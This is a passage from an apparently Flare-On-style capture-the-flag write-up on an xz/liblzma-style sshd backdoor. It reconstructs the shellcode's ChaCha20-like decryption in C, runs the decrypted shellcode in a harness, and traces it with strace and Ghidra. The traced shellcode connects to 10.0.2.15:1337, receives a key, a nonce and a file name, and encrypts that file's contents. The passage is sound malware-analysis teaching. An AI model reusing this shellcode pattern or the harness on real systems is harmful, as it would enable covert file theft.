Awesome! We only have one step left to decrypt the shellcode: reconstruct the encryption/decryption algorithm in C. This is done similarily to how we reconstructed setup_decryption_key
. Here’s the decompilation for decrypt_shellcode
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
void decrypt_shellcode(byte *key,byte *encrypted_shellcode,long shellcode_size)
{
ulong *puVar1;
int *piVar2;
uint uVar3;
uint uVar4;
byte *pbVar5;
ulong uVar6;
ulong *puVar7;
ulong *puVar8;
uint uVar9;
uint uVar10;
uint uVar11;
uint uVar12;
uint uVar13;
uint uVar14;
uint uVar15;
uint uVar16;
uint uVar17;
uint uVar18;
uint uVar19;
uint uVar20;
uint uVar21;
uint uVar22;
uint local_68;
uint local_64;
byte *local_60;
int local_54;
if (shellcode_size == 0) {
return;
}
puVar1 = (ulong *)(key + 0x40);
/* 0x16 initially */
uVar6 = *puVar1;
local_60 = encrypted_shellcode;
do {
puVar8 = (ulong *)key;
if (uVar6 < 0x40) {
pbVar5 = key + uVar6;
}
else {
do {
puVar7 = (ulong *)((long)puVar8 + 4);
*(undefined4 *)puVar8 = *(undefined4 *)(puVar8 + 0x10);
puVar8 = puVar7;
} while (puVar1 != puVar7);
local_64 = *(uint *)(key + 0x18);
uVar20 = *(uint *)key;
local_54 = 10;
uVar4 = *(uint *)(key + 0x10);
uVar9 = *(uint *)(key + 0x30);
uVar15 = *(uint *)(key + 0x20);
uVar16 = *(uint *)(key + 4);
uVar3 = *(uint *)(key + 0x38);
uVar18 = *(uint *)(key + 0x14);
uVar10 = *(uint *)(key + 0x34);
uVar14 = *(uint *)(key + 0x24);
uVar11 = *(uint *)(key + 8);
uVar19 = *(uint *)(key + 0x28);
local_68 = *(uint *)(key + 0x2c);
uVar13 = *(uint *)(key + 0xc);
uVar22 = *(uint *)(key + 0x1c);
uVar21 = *(uint *)(key + 0x3c);
do {
uVar10 = uVar10 ^ uVar16 + uVar18;
uVar9 = uVar9 ^ uVar20 + uVar4;
uVar10 = uVar10 << 0x10 | uVar10 >> 0x10;
uVar9 = uVar9 << 0x10 | uVar9 >> 0x10;
uVar14 = uVar14 + uVar10;
uVar15 = uVar15 + uVar9;
uVar17 = uVar18 ^ uVar14;
uVar12 = uVar4 ^ uVar15;
uVar17 = uVar17 << 0xc | uVar17 >> 0x14;
uVar12 = uVar12 << 0xc | uVar12 >> 0x14;
uVar16 = uVar16 + uVar18 + uVar17;
uVar20 = uVar20 + uVar4 + uVar12;
uVar10 = uVar10 ^ uVar16;
uVar9 = uVar9 ^ uVar20;
uVar10 = uVar10 << 8 | uVar10 >> 0x18;
uVar9 = uVar9 << 8 | uVar9 >> 0x18;
uVar14 = uVar14 + uVar10;
uVar15 = uVar15 + uVar9;
uVar12 = uVar12 ^ uVar15;
uVar17 = uVar17 ^ uVar14;
uVar12 = uVar12 << 7 | uVar12 >> 0x19;
uVar18 = uVar17 << 7 | uVar17 >> 0x19;
uVar3 = uVar3 ^ uVar11 + local_64;
uVar4 = uVar3 << 0x10 | uVar3 >> 0x10;
uVar19 = uVar19 + uVar4;
uVar3 = local_64 ^ uVar19;
uVar3 = uVar3 << 0xc | uVar3 >> 0x14;
uVar11 = uVar11 + local_64 + uVar3;
uVar4 = uVar4 ^ uVar11;
uVar4 = uVar4 << 8 | uVar4 >> 0x18;
uVar19 = uVar19 + uVar4;
uVar20 = uVar20 + uVar18;
uVar21 = uVar21 ^ uVar13 + uVar22;
uVar3 = uVar3 ^ uVar19;
uVar21 = uVar21 << 0x10 | uVar21 >> 0x10;
uVar3 = uVar3 << 7 | uVar3 >> 0x19;
local_68 = local_68 + uVar21;
uVar16 = uVar16 + uVar3;
uVar17 = uVar22 ^ local_68;
uVar9 = uVar9 ^ uVar16;
uVar17 = uVar17 << 0xc | uVar17 >> 0x14;
uVar9 = uVar9 << 0x10 | uVar9 >> 0x10;
uVar13 = uVar13 + uVar22 + uVar17;
uVar21 = uVar21 ^ uVar13;
uVar22 = uVar21 << 8 | uVar21 >> 0x18;
local_68 = local_68 + uVar22;
uVar22 = uVar22 ^ uVar20;
uVar22 = uVar22 << 0x10 | uVar22 >> 0x10;
uVar17 = uVar17 ^ local_68;
local_68 = local_68 + uVar9;
uVar19 = uVar19 + uVar22;
uVar3 = uVar3 ^ local_68;
uVar17 = uVar17 << 7 | uVar17 >> 0x19;
uVar18 = uVar18 ^ uVar19;
uVar18 = uVar18 << 0xc | uVar18 >> 0x14;
uVar20 = uVar20 + uVar18;
uVar22 = uVar22 ^ uVar20;
uVar21 = uVar22 << 8 | uVar22 >> 0x18;
uVar19 = uVar19 + uVar21;
uVar18 = uVar18 ^ uVar19;
uVar18 = uVar18 << 7 | uVar18 >> 0x19;
uVar22 = uVar3 << 0xc | uVar3 >> 0x14;
uVar11 = uVar11 + uVar17;
uVar16 = uVar16 + uVar22;
uVar10 = uVar10 ^ uVar11;
uVar9 = uVar9 ^ uVar16;
uVar3 = uVar10 << 0x10 | uVar10 >> 0x10;
uVar9 = uVar9 << 8 | uVar9 >> 0x18;
uVar15 = uVar15 + uVar3;
local_68 = local_68 + uVar9;
uVar17 = uVar17 ^ uVar15;
uVar22 = uVar22 ^ local_68;
uVar17 = uVar17 << 0xc | uVar17 >> 0x14;
uVar11 = uVar11 + uVar17;
local_64 = uVar22 << 7 | uVar22 >> 0x19;
uVar3 = uVar3 ^ uVar11;
uVar13 = uVar13 + uVar12;
uVar10 = uVar3 << 8 | uVar3 >> 0x18;
uVar4 = uVar4 ^ uVar13;
uVar15 = uVar15 + uVar10;
uVar4 = uVar4 << 0x10 | uVar4 >> 0x10;
uVar17 = uVar17 ^ uVar15;
uVar14 = uVar14 + uVar4;
uVar22 = uVar17 << 7 | uVar17 >> 0x19;
uVar12 = uVar12 ^ uVar14;
uVar12 = uVar12 << 0xc | uVar12 >> 0x14;
uVar13 = uVar13 + uVar12;
uVar4 = uVar4 ^ uVar13;
uVar3 = uVar4 << 8 | uVar4 >> 0x18;
uVar14 = uVar14 + uVar3;
uVar12 = uVar12 ^ uVar14;
uVar4 = uVar12 << 7 | uVar12 >> 0x19;
local_54 = local_54 + -1;
} while (local_54 != 0);
*(uint *)(key + 0x34) = uVar10;
*(uint *)(key + 0x18) = local_64;
*(uint *)key = uVar20;
*(uint *)(key + 0x38) = uVar3;
*(uint *)(key + 0x10) = uVar4;
*(uint *)(key + 0x2c) = local_68;
*(uint *)(key + 0x30) = uVar9;
*(uint *)(key + 0x20) = uVar15;
*(uint *)(key + 4) = uVar16;
*(uint *)(key + 0x14) = uVar18;
*(uint *)(key + 0x24) = uVar14;
*(uint *)(key + 8) = uVar11;
*(uint *)(key + 0x28) = uVar19;
*(uint *)(key + 0xc) = uVar13;
*(uint *)(key + 0x1c) = uVar22;
*(uint *)(key + 0x3c) = uVar21;
puVar8 = (ulong *)key;
while( true ) {
puVar7 = (ulong *)((long)puVar8 + 4);
*(uint *)puVar8 = uVar20 + *(int *)(puVar8 + 0x10);
if (puVar1 == puVar7) break;
uVar20 = *(uint *)puVar7;
puVar8 = puVar7;
}
piVar2 = (int *)(key + 0xb0);
*piVar2 = *piVar2 + 1;
if (*piVar2 == 0) {
*(int *)(key + 0xb4) = *(int *)(key + 0xb4) + 1;
}
*(undefined8 *)(key + 0x40) = 0;
pbVar5 = key;
}
*local_60 = *local_60 ^ *pbVar5;
local_60 = local_60 + 1;
uVar6 = *(long *)(key + 0x40) + 1;
*(ulong *)(key + 0x40) = uVar6;
} while (encrypted_shellcode + shellcode_size != local_60);
return;
}
As in the case of setup_decryption_key
, the exact operation of this algorithm does not matter; we simply treat it as a black box of sorts, and reconstruct it in a C program. Unlike setup_decryption_key
, here we can use the code directly from Ghidra, and we don’t need to change anything. Putting all these pieces together, let’s decrypt the shellcode! We do so using the following program:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#define KEY_SIZE (200)
#define SHELLCODE_SIZE (0xf96)
#define PARAM_2_SIZE (0x1000)
typedef unsigned int uint;
typedef unsigned int undefined4;
typedef unsigned long ulong;
typedef unsigned long undefined8;
typedef char byte;
char key[KEY_SIZE];
char shellcode[SHELLCODE_SIZE];
char param_2[PARAM_2_SIZE];
void read_key() {
FILE *fp = fopen("PATH_TO_KEY", "rb");
fread(key, KEY_SIZE, 1, fp);
fclose(fp);
}
void read_shellcode() {
FILE *fp = fopen("PATH_TO_ENCRYPTED_SHELLCODE", "rb");
fread(shellcode, SHELLCODE_SIZE, 1, fp);
fclose(fp);
}
void read_param_2() {
FILE *fp = fopen("PATH_TO_PARAM_2", "rb");
fread(param_2, PARAM_2_SIZE, 1, fp);
fclose(fp);
}
// Copied from Ghidra
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)
{
...
}
// Copied from Ghidra
void decrypt_shellcode(byte *key,byte *encrypted_shellcode,long shellcode_size)
{
...
}
void dump_shellcode() {
FILE *fp = fopen("./shellcode.bin", "wb");
fwrite(shellcode, SHELLCODE_SIZE, 1, fp);
fclose(fp);
}
void dump_key() {
FILE *fp = fopen("./key", "wb");
fwrite(key, KEY_SIZE, 1, fp);
fclose(fp);
}
int main() {
// read_key();
memset(key, 0, KEY_SIZE);
read_shellcode();
read_param_2();
puts("Setting up decryption key...\n");
setup_decryption_key((char *)key, param_2 + 0x4, param_2 + 0x24, 0);
puts("Decrypting shellcode...\n");
decrypt_shellcode(key, shellcode, SHELLCODE_SIZE);
dump_shellcode();
puts("Calling shellcode...\n");
void (*foo)() = (void(*)())shellcode;
foo();
return 0;
}
Let’s run the program and break in the call to foo
:
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass main
Dump of assembler code for function main:
...
0x0000555555555cfa <+200>: lea rax,[rip+0x245f] # 0x555555558160 <shellcode>
0x0000555555555d01 <+207>: mov QWORD PTR [rbp-0x8],rax
0x0000555555555d05 <+211>: mov rdx,QWORD PTR [rbp-0x8]
0x0000555555555d09 <+215>: mov eax,0x0
0x0000555555555d0e <+220>: call rdx
...
End of assembler dump.
pwndbg> b *main+220
Breakpoint 2 at 0x555555555d0e
Inspecting shellcode
after the breakpoint is hit, we see:
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i &shellcode
0x555555558160 <shellcode>: push rbp
0x555555558161 <shellcode+1>: mov rbp,rsp
0x555555558164 <shellcode+4>: call 0x555555558f22 <shellcode+3522>
0x555555558169 <shellcode+9>: leave
0x55555555816a <shellcode+10>: ret
0x55555555816b <shellcode+11>: push rdi
0x55555555816c <shellcode+12>: push rbp
0x55555555816d <shellcode+13>: mov rbp,rsp
0x555555558170 <shellcode+16>: mov edi,eax
0x555555558172 <shellcode+18>: push 0x3
Looks like valid instructions to me! We successfully managed to decrypt the shellcode! We still have a ways to go before getting the flag, though.
Analyzing the Shellcode
To recap so far:
We found the core dump of the SSH daemon by searching for a file with
sshd
in its nameWe figured out the reason the daemon crashed: it attempted to call the non-existent function
RSA_public_decrypt
, due to a backdoor in liblzma (like in the real world Jia Tan incident)We found that before crashing, the program called 0xf96 bytes of shellcode
Unfortunately, the shellcode is encrypted, so we had to decrypt it by finding (1) the key used to encrypt/decrypt, and (2) the encrypted shellcode in memory
We wrote a C program that decrypts the shellcode by making some slight alterations to the code that Ghidra decompiled for the
setup_decryption_key
anddecrypt_shellcode
functionsWe now have the decrypted shellcode in the file
shellcode.bin
!Dynamic Analysis
We’ll begin our analysis dynamically: shellcode is pretty much forced to use syscalls to do interesting things (since it has no direct access to library functions), so running
strace
will probably reveal at least some of the behavior of the shellcode. We’ll write a small C wrapper for the shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define SHELLCODE_SIZE (0xf96)
unsigned char shellcode[SHELLCODE_SIZE];
void read_shellcode() {
FILE *fp = fopen("./shellcode.bin", "rb");
fread(shellcode, SHELLCODE_SIZE, 1, fp);
fclose(fp);
}
int main() {
read_shellcode();
void *shellcode_addr = mmap(NULL, SHELLCODE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(shellcode_addr, shellcode, SHELLCODE_SIZE);
void (*shellcode_func)() = shellcode_addr;
shellcode_func();
return 0;
}
Running strace, we see some very interesting stuff (I left only the syscalls made by the shellcode itself):
1
2
3
4
$ strace ./shellcode_wrapper
...
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16
The shellcode creates a TCP socket, and tries to connect to the IP address 10.0.2.15
on port 1337. Our next step should be to see what the shellcode does with this address. Since my computer doesn’t have this IP, we’ll have to add an iptables route that forwards all outbound traffic to 10.0.2.15 to localhost:
1
sudo iptables -t nat -A OUTPUT -d 10.0.2.15 -j DNAT --to-destination 127.0.0.1
Let’s run a netcat listener on port 1337:
1
nc -lnvp 1337
And strace
the shellcode again:
1
2
3
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = 0
recvfrom(3,
Hmm… the next call is a recvfrom
called on the socket. To understand what the shellcode does with the data it receives we’ll have to analyze it statically.
Static Analysis
Socket Creation
The shellcode begins by calling a function that I renamed main
:
1
2
3
4
5
PUSH RBP
MOV RBP,RSP
CALL main
LEAVE
RET
The main
function starts by calling another function:
1
2
3
4
5
6
7
8
9
10
undefined8 main(undefined8 param_1,undefined8 param_2)
{
...
undefined4 uVar2;
byte bVar6;
bVar6 = 0;
uVar2 = FUN_0000001a(param_1,param_2,0x539);
...
}
The decompilation for this function is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* WARNING: Removing unreachable block (ram,0x00000084) */
/* WARNING: Removing unreachable block (ram,0x00000045) */
undefined [16] FUN_0000001a(void)
{
long lVar1;
sockaddr *puVar2;
undefined auVar2 [16];
sockaddr buf;
syscall();
puVar2 = &buf;
for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
*(undefined *)&puVar2->sa_family = 0;
puVar2 = (sockaddr *)((long)&puVar2->sa_family + 1);
}
syscall();
auVar2._8_8_ = 0x10;
auVar2._0_8_ = 0x29;
return auVar2;
}
Ghidra doesn’t decompile syscalls all that well, so we’ll analyze the syscalls directly from the assembly. Here’s the first syscall:
1
2
3
4
5
6
7
8
9
PUSH 0x29
POP RAX
PUSH 0x2
POP RDI
PUSH 0x1
POP RSI
PUSH 0x6
POP RDX
SYSCALL
One Google search later, we see that syscall 0x29 is socket
. By standard x64 syscall convention, it receives its parameters as follows:
First argument,
int domain
, passed inrdi
Second argument,
int type
, passed inrsi
And third argument,
int protocol
, passed inrdx
In our case,rdi = 0x2
,rsi = 0x1
, andrdx = 0x6
. By looking it up in the Linux headers, we see that the call creates a socket with parametersAF_INET, SOCK_STREAM, IPPROTO_TCP
, or in other words: a TCP socket. This matches up perfectly with what we’ve seen earlier in the output ofstrace
. After this, we have a loop that zeros some fields ofpuVar2
, which is asockaddr *
(we’ll get to why I retyped it as such in a moment):
1
2
3
4
for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
*(undefined *)&puVar2->sa_family = 0;
puVar2 = (sockaddr *)((long)&puVar2->sa_family + 1);
}
Then, we have another syscall:
1
2
3
4
5
6
7
8
LEA RSI=>buf,[RBP + -0x10]
PUSH 0x2a
POP RAX
MOV puVar2,R10D
PUSH 0x10
POP RDX
connect(sock, sockaddr, sizeof(struct sockaddr))
SYSCALL
Syscall 0x2a
is the connect
syscall. It has the following signature:
1
int connect(int sockfd, const struct sockaddr* addr, socklen_t addrlen);
It’s the same calling convention as before, so:
The
addrlen
(rdx
) is 0x10The
sockaddr
(rsi
) is a buffer on the stack. This is the same one where the fields were zeroed earlier in the loop, hence why I retyped itThe sockfd (
puVar2
, which isrdi
) isr10d
. The last instruction that changedr10d
ismov r10d, eax
, right after the previous syscall. In other words,r10d
contains the file descriptor of the new socket Putting this all together, this syscall connects the socket to the address and port we saw earlier when we ran strace. By further analyzing this function, we can see exactly where the port and address are specified, but this isn’t relevant for our analysis. After the call to connect, the function returns the file descriptor of the socket. We’ll rename this function toinit_socket
.recvfrom
s galoreGetting back to main, we see another 4 syscalls. Here’s the code for the first one:
1
2
3
4
5
6
7
8
9
10
11
12
CALL init_socket
MOV EBX,EAX
LEA RSI=>first_recvfrom_buf,[RBP + -0x1278]
PUSH 0x2d
POP RAX
MOV EDI,EBX
PUSH 0x20
POP RDX
XOR R10D,R10D
XOR R8D,R8D
XOR R9D,R9D
SYSCALL
The return value of init_socket
(the socket’s file descriptor) is moved into ebx. From the value of rax, 0x2d
, we can see that the syscall is recvfrom
, whose signature is as follows:
1
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
The buf
parameter (in rsi
) is set to a buffer on the stack, which I renamed to first_recvfrom_buf
. The sockfd
returned by init_socket
is moved into edi
. The value 0x20, the len
, is moved into rdx
. The rest of the arguments are zerod. Putting this all together, the syscall simply reads 0x20 bytes from the socket. The other 3 syscalls are also recvfrom
s that read data into 3 other buffers from the socket, so there’s no need to reiterate this analysis. Below are all of the buffers’ names, and how many bytes are read into each:
First call:
first_recvfrom_buf
,0x20
bytesSecond call:
second_recvfrom_buf
,0xc
bytesThird call:
third_recvfrom_buf
,0x4
bytesFourth call:
fourth_recvfrom_buf
, the 4 bytes fromthird_recvfrom_buf
as a 32-bit little endian unsigned integer Next, we have another syscall:
1
2
3
4
5
6
LEA RDI=>fourth_recvfrom_buf,[RBP + -0x1248]
PUSH 0x2
POP RAX
XOR ESI,ESI
XOR EDX,EDX
SYSCALL
Syscall 0x2 is the open
syscall. We can see that fourth_recvfrom_buf
is loaded into rdi
, which is the parameter of open
that specifies the filename. The other registers (esi and edx) specify that the file is to be opened for reading. If so, this syscall open
s the file whose name was specified in the 4th recvfrom
call. After opening the file, the shellcode uses yet another syscall:
1
2
3
4
5
6
MOV R12D,EAX
LEA RSI=>third_recvfrom_buf,[RBP + -0x1148]
XOR EAX,EAX
MOV EDI,R12D
MOV EDX,0x80
SYSCALL
Syscall 0x0 is read
, which receives its parameters as follows:
File descriptor to read from in
edi
Buffer to read into in
rsi
Number of bytes to read in
edx
In our case, we can see that the return value of theopen
syscall is stored in r12d and later moved into edi, so the read is from the file that was just opened. The buffer isthird_recvfrom_buf
, and we read 0x80 bytes into it.File Encryption
Next there’s a loop that computes the length of the file that was opened (number of bytes until the first NULL byte):
1
2
3
4
5
6
7
8
9
10
lVar3 = -1;
pcVar5 = third_recvfrom_buf;
do {
pcVar4 = pcVar5;
if (lVar3 == 0) break;
lVar3 = lVar3 + -1;
pcVar4 = pcVar5 + (ulong)bVar6 * -2 + 1;
cVar1 = *pcVar5;
pcVar5 = pcVar4;
} while (cVar1 != '\0');
And then a call to a function that we’ll call process_file
:
1
process_file(pcVar4,third_recvfrom_buf,first_recvfrom_buf,second_recvfrom_buf,0,0);
Here’s the call in assembly:
1
2
3
4
5
LEA RAX=>local_e8,[RBP + -0xc0]
LEA RDX=>first_recvfrom_buf,[RBP + -0x1278]
LEA RCX=>second_recvfrom_buf,[RBP + -0x1258]
XOR R8D,R8D
CALL process_file
The disassembly for process_file
is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
**************************************************************
* FUNCTION *
**************************************************************
undefined process_file()
undefined AL:1 <RETURN>
process_file XREF[1]: main:00000eb1(c)
00000cd2 53 PUSH RBX
00000cd3 56 PUSH RSI
00000cd4 57 PUSH RDI
00000cd5 41 54 PUSH R12
00000cd7 55 PUSH RBP
00000cd8 48 8b ec MOV RBP,RSP
00000cdb 48 8b d8 MOV RBX,RAX
00000cde 4c 8b c9 MOV R9,RCX
00000ce1 49 8b f0 MOV RSI,R8
00000ce4 32 c0 XOR AL,AL
00000ce6 48 8b fb MOV RDI,RBX
00000ce9 b9 c0 00 MOV ECX,0xc0
00 00
00000cee f3 aa STOSB.REP RDI
00000cf0 48 8b c3 MOV RAX,RBX
00000cf3 49 8b c9 MOV RCX,R9
00000cf6 e8 98 fd CALL FUN_00000a93 undefined setup_salsa20_state()
ff ff
00000cfb 48 8b c3 MOV RAX,RBX
Load the state into rax
00000cfe 48 8d 80 LEA RAX,[RAX + 0x80]
80 00 00 00
00000d05 48 8b c8 MOV RCX,RAX
00000d08 48 83 c1 30 ADD RCX,0x30
00000d0c 8b c6 MOV EAX,ESI
00000d0e 89 01 MOV dword ptr [RCX],EAX
00000d10 48 8b c3 MOV RAX,RBX
00000d13 48 8d 80 LEA RAX,[RAX + 0x80]
80 00 00 00
00000d1a 48 8b f8 MOV RDI,RAX
00000d1d 48 83 c7 34 ADD RDI,0x34
00000d21 48 8b c3 MOV RAX,RBX
00000d24 48 8d 40 68 LEA RAX,[RAX + 0x68]
00000d28 e8 f3 01 CALL get_dword undefined get_dword()
00 00
00000d2d 4c 8b e6 MOV R12,RSI
00000d30 49 c1 ec 20 SHR R12,0x20
00000d34 41 03 c4 ADD EAX,R12D
00000d37 89 07 MOV dword ptr [RDI],EAX
00000d39 48 89 73 78 MOV qword ptr [RBX + 0x78],RSI
00000d3d 6a 40 PUSH 0x40
00000d3f 8f 43 40 POP qword ptr [RBX + 0x40]
00000d42 c9 LEAVE
00000d43 41 5c POP R12
00000d45 5f POP RDI
00000d46 5e POP RSI
00000d47 5b POP RBX
00000d48 c3 RET
The function begins by zeroing out the first 0xc0 bytes of the buffer that is stored in rdi:
1
2
3
MOV RDI,RBX
MOV ECX,0xc0
STOSB.REP RDI
After this, we have a call to another function, where the parameters are second_recvfrom_buf
(in rcx
) and first_recvfrom_buf
(in rdx
, whose value wasn’t modified since the call to process_file
, where first_recvfrom_buf
was loaded into rdx
):
1
2
3
4
5
6
// The last time the value of r9 was modified
MOV R9,RCX
...
MOV RAX,RBX
MOV RCX,R9
CALL FUN_00000a93
The decompiled code of this function is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void FUN_00000a93(undefined8 param_1,undefined8 param_2,undefined *param_3,undefined *param_4
)
{
undefined4 curr_dword;
long in_RAX;
long lVar1;
undefined *puVar2;
undefined *puVar3;
undefined4 *puVar5;
byte bVar4;
bVar4 = 0;
puVar2 = (undefined *)(in_RAX + 0x48);
for (lVar1 = 0x20; lVar1 != 0; lVar1 = lVar1 + -1) {
*puVar2 = *param_3;
param_3 = param_3 + 1;
puVar2 = puVar2 + 1;
}
puVar2 = param_4;
puVar3 = (undefined *)(in_RAX + 0x68);
for (lVar1 = 0xc; lVar1 != 0; lVar1 = lVar1 + -1) {
*puVar3 = *puVar2;
puVar2 = puVar2 + 1;
puVar3 = puVar3 + 1;
}
lVar1 = 0xf85;
puVar5 = (undefined4 *)(in_RAX + 0x80);
curr_dword = get_dword(puVar5,0xf85);
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x84);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x88);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x8c);
curr_dword = get_dword(puVar5,lVar1 + 0xc);
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x90);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x94);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x98);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x9c);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xa0);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xa4);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xa8);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xac);
curr_dword = get_dword();
*puVar5 = curr_dword;
*(undefined4 *)(in_RAX + 0xb0) = 0;
puVar5 = (undefined4 *)(in_RAX + 0xb4);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xb8);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0xbc);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar2 = (undefined *)(in_RAX + 0x68);
for (lVar1 = 0xc; lVar1 != 0; lVar1 = lVar1 + -1) {
*puVar2 = *param_4;
param_4 = param_4 + (ulong)bVar4 * -2 + 1;
puVar2 = puVar2 + (ulong)bVar4 * -2 + 1;
}
return;
}
Before we analyze this function more deeply, we’ll analyze get_dword
(my name for the function), which is used many times throughout the function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
**************************************************************
* FUNCTION *
**************************************************************
undefined get_dword()
undefined AL:1 <RETURN>
get_dword
PUSH RBP
MOV RBP,RSP
MOV RCX,RAX
XOR R8D,R8D
MOV AL,byte ptr [RCX]
MOVZX EAX,AL
SHL EAX,0x0
OR R8D,EAX
MOV EAX,R8D
MOV RDX,RCX
ADD RDX,0x1
MOV DL,byte ptr [RDX]
MOVZX EDX,DL
SHL EDX,0x8
OR EAX,EDX
MOV RDX,RCX
ADD RDX,0x2
MOV DL,byte ptr [RDX]
MOVZX EDX,DL
SHL EDX,0x10
OR EAX,EDX
ADD RCX,0x3
MOV CL,byte ptr [RCX]
MOVZX ECX,CL
SHL ECX,0x18
OR EAX,ECX
LEAVE
RET
The function begins by moving the value currently in rax to rcx, and zeroing r8d. It then moves the first byte pointed to by rcx to al, shifts it left by 0 bytes (a no-op), and ORs the result with r8d:
1
2
3
4
5
6
MOV RCX,RAX
XOR R8D,R8D
MOV AL,byte ptr [RCX]
MOVZX EAX,AL
SHL EAX,0x0
OR R8D,EAX
After this, it ORs r8d with the next byte pointed to by rcx, shifted left by 8 bytes:
1
2
3
4
5
6
7
MOV EAX,R8D
MOV RDX,RCX
ADD RDX,0x1
MOV DL,byte ptr [RDX]
MOVZX EDX,DL
SHL EDX,0x8
OR EAX,EDX
We can notice a pattern by now, we OR the value currently in r8d with bytes pointed to by rcx, shifted left by multiples of 8. This is done two more times. For example, if rcx points to the bytes 0x12 0x34 0x56 0x78
, the function would return 0x78563412
. In other words, this function returns the 4 bytes pointed to by rcx as a little-endian integer. Getting back to FUN_00000a93
, we notice the following interesting part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
lVar1 = 0xf85;
puVar5 = (undefined4 *)(in_RAX + 0x80);
curr_dword = get_dword(puVar5,0xf85);
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x84);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x88);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x8c);
curr_dword = get_dword(puVar5,lVar1 + 0xc);
*puVar5 = curr_dword;
...
The disassembly of the first call to get_dword
looks like this:
1
2
3
4
5
6
7
8
LEA RSI=>s_expand_32-byte_K_00000f85,[RAX]
MOV RAX,RBX
LEA RAX,[RAX + 0x80]
MOV RDI,RAX
ADD RDI,0x0
MOV RAX,RSI
ADD RAX,0x0
CALL get_dword
In other words, it calls get_dword
on the constant defined in the address 0xf85:
That’s interesting! A quick google search for this constant leads us to articles related to the Salsa20 cipher. From the Wikipedia page on Salsa20:
After each call to get_dword
, the return value is stored in the address pointed to by RDI:
1
2
3
4
5
6
7
CALL get_dword
// Store return value in RDI
MOV dword ptr [RDI],EAX
...
// Go to the next 4 bytes of RDI
ADD RDI,0x4
...
This pattern repeats itself all throughout the function. If so, after the first 4 calls to get_dword
, which are done on the constant expand 32-byte K
, the first 16 bytes in RDI will be expand 32-byte K
. This doesn’t really match with the above figure from Wikipedia, which shows this constant appearing along the diagonal of the state. If we scroll down, however, we see the following figure under the Chacha20 section, which is another cipher, based on Salsa20:
